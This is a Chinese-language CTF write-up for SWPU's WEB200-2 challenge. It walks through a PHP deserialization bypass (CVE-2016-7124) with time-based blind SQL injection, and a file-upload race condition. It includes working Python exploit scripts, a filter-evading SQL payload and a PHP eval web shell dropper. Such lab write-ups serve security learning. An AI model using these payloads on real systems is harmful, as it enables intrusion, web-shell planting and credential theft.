WEB200-2
這是swpu-ctf的一道題。
<?php if(isset($_GET['user'])){ $login = @unserialize(base64_decode($_GET['user'])); if(!empty($login->pass)){ $status = $login->check_login(); if($status == 1){ $_SESSION['login'] = 1; var_dump("login by cookie!!!"); } } } class login{ var $uid = 0; var $name=""; var $pass=''; //檢查用戶是否已登錄 public function check_login(){ mysql_connect('localhost','root','root') or die("connect error"); mysql_selectdb('skctf'); $sqls = "select * from admin where username='$this->name'"; $sqls = help::CheckSql($sqls); $re = mysql_query($sqls); $results = @mysql_fetch_array($re); //echo $sqls . $results['password']; mysql_close(); if (!empty($results)) { if($results['password'] == $this->pass) { return 1; } else { echo '0'; return 0; } } } //預防cookie某些破壞導致登陸失敗 public function __destruct(){ $this->check_login(); } //反序列化時檢查數據 public function __wakeup(){ $this->name = help::addslashes_deep($this->name); $this->pass = help::addslashes_deep($this->pass); } } class help { static function addslashes_deep($value) { if (empty($value)) { return $value; } else { if (!get_magic_quotes_gpc()) { $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value)); } else { $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value); } return $value; } } static function remove_xss($string) { $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string); $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base'); $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','href','action','location','background','src','poster'); $parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','and','or','xor','update','insert','delete','alter','drop','truncate','script','eval','outfile','dumpfile'); $parm = array_merge($parm1, $parm2, $parm3); for ($i = 0; $i < sizeof($parm); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($parm[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[x|X]0([9][a][b]);?)?'; $pattern .= '|(�([9][10][13]);?)?'; $pattern .= ')?'; } $pattern .= $parm[$i][$j]; } $pattern .= '/i'; $string = preg_replace($pattern, '****', $string); } return $string; } static function mystrip_tags($string) { $string = help::new_html_special_chars($string); $string = help::remove_xss($string); return $string; } static function new_html_special_chars($string) { $string = str_replace(array('&', '"', '<', '>','&#'), array('&', '"', '<', '>','***'), $string); return $string; } // 實體出庫 static function htmlspecialchars_($value) { if (empty($value)) { return $value; } else { if(is_array($value)){ foreach ($value as $k => $v) { $value[$k] = self::htmlspecialchars_($v); } }else{ $value = htmlspecialchars($value); } return $value; } } //sql 過濾 static function CheckSql($db_string,$querytype='select') { $clean = ''; $error=''; $old_pos = 0; $pos = -1; if($querytype=='select') { $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}"; if(preg_match("/".$notallow1."/i", $db_string)) { exit("Error"); } } //完整的SQL檢查 while (TRUE) { $pos = strpos($db_string, '\'', $pos + 1); if ($pos === FALSE) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (TRUE) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === FALSE) { break; } elseif ($pos2 == FALSE || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE OR strpos($clean,'$s$$s$')!== FALSE) { $fail = TRUE; if(preg_match("#^create table#i",$clean)) $fail = FALSE; $error="unusual character"; } elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE) { $fail = TRUE; $error="comment detect"; } elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error="slown down detect"; } elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error="file fun detect"; } elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0) { $fail = TRUE; $error="file fun detect"; } if (!empty($fail)) { exit("Error" . $error); } else { return $db_string; } } } ?>
從代碼邏輯可以看到從Cookie里取user的值,然后base64_decode,然后反序列化到login這個類,反序列化之后先執行__wakeup(),然后執行__destruct()
其中在__wakeup()里可以看到幾乎過濾了全部注入/XSS的關鍵詞(用的是80sec的正則)。這里可以利用php5.6以下的版本是有一漏洞的,CVE-2016-7124
當序列化之后的字符串定義的的元素個數與實際個數不符合的時候(定義個數大於實際個數),__wakeup()將不會執行。__destruct()函數會調用check_login(),進入check_login函數。其中$name存在注入,也就是反序列化導致變量覆蓋。但是$sqls = help::CheckSql($sqls);存在80sec的過濾。百度找了下payload:admin' and (select 1 from flag where ascii(mid(flag,1,1))=33) and (`'`.``.username=1 or sleep(3)) #即可繞過。
將屬性的數量改為5,即可繞過__wakeup()
寫個腳本跑:
import requests import time #繞過80sec的payload #select * from admin where username='admin' and (select 1 from admin where ascii(mid(password,1,1))=53) and (`'`.``.username=1 or sleep(3)) #' def base64(s): import base64 return base64.b64encode(s) url = "http://127.0.0.1/ctf/test.php" flag = "" for i in range(1,40): for j in range(33,125): payload = "admin' and (select 1 from admin where ascii(mid(password,%d,1))=%d) and (`'`.``.username=1 or sleep(5)) #"% (i,j) payload_len = len(payload) serialize_str = '''O:5:"login":5:{s:4:"name";s:%d:"%s";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}''' % (payload_len,payload) headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36', 'Cookie': 'user='+base64(serialize_str) } print payload start = time.time() requests.get(url,headers=headers) end = time.time() exec_time = end-start if exec_time > 5: flag += chr(j) print i,flag break
最終拿到密碼:
寫如下payload拿到flag:
文件上傳時間競爭的例子:
源碼:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>upload</title> </head> <body> <form action="test.php" method="post" enctype="multipart/form-data"> 選擇文件:<input type="file" name="file"> <input type="submit" value="上傳文件"> </form>> </body> </html> <?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ die("error:can not move"); } }else{ die("error:not an upload file!"); } $newfile = $path.$filename; echo "file upload success.file path is: ".$newfile."\n<br />"; if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); die("error:upload the file type is not allowed,delete the file!"); }
首先將文件上傳到服務器,然后檢測文件后綴名,如果不符合條件,就刪掉,我們的利用思路是這樣的,首先上傳一個 1.php 文件,內容為:
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["afanti"]) ?>'); ?>
當然這個文件會被立馬刪掉,所以我們使用多線程並發的訪問上傳的文件,總會有一次在上傳文件到刪除文件這個時間段內訪問到上傳的 php 文件,一旦我們成功訪問到了上傳的文件,那么它就會向服務器寫一個 shell。利用代碼如下:
import os import requests import threading class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = "http://127.0.0.1/ctf/1.php" self.uploadUrl = "http://127.0.0.1/ctf/test.php" def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print("[*]create file info.php success") os._exit(0) def _upload(self): print("upload file.....") file = {"file":open("1.php","r")} requests.post(self.uploadUrl, files=file) def run(self): while True: for i in range(5): self._get() for i in range(10): self._upload() self._get() if __name__ == "__main__": threads = 20 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join()
多運行腳本幾次,就會成功上傳shell.
參考鏈接:
https://blog.l1n3.net/writeup/swpu_ctf_2016_writeup/